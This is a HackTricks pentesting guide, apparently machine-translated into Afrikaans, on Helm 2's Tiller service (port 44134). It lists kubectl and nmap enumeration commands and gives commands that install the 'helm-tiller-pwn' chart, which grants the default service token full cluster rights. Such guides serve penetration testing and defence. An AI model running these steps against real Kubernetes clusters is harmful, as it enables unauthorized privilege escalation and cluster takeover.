hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

85 lines
5.3 KiB
Markdown

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Basiese Inligting
Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te pak en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied.
**Standaard poort:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeration
As jy **pods en/of dienste** van verskillende name ruimtes kan **opnoem**, noem hulle op en soek vir diegene met **"tiller" in hul naam**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Voorbeelde:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
U kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
```bash
sudo nmap -sS -p 44134 <IP>
```
Sodra jy dit ontdek het, kan jy met dit kommunikeer deur die kliënt helm toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasie gids](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Dan kan jy **die diens opnoem**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation
Deur die standaard is **Helm2** in die **namespace kube-system** met **hoë bevoegdhede** geïnstalleer, so as jy die diens vind en toegang daartoe het, kan dit jou toelaat om **bevoegdhede te eskaleer**.
Alles wat jy hoef te doen is om 'n pakket soos hierdie te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens token toegang tot alles in die hele kluster sal gee.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verklaring van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle die voorregte aan die standaardtoken gegee word**.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}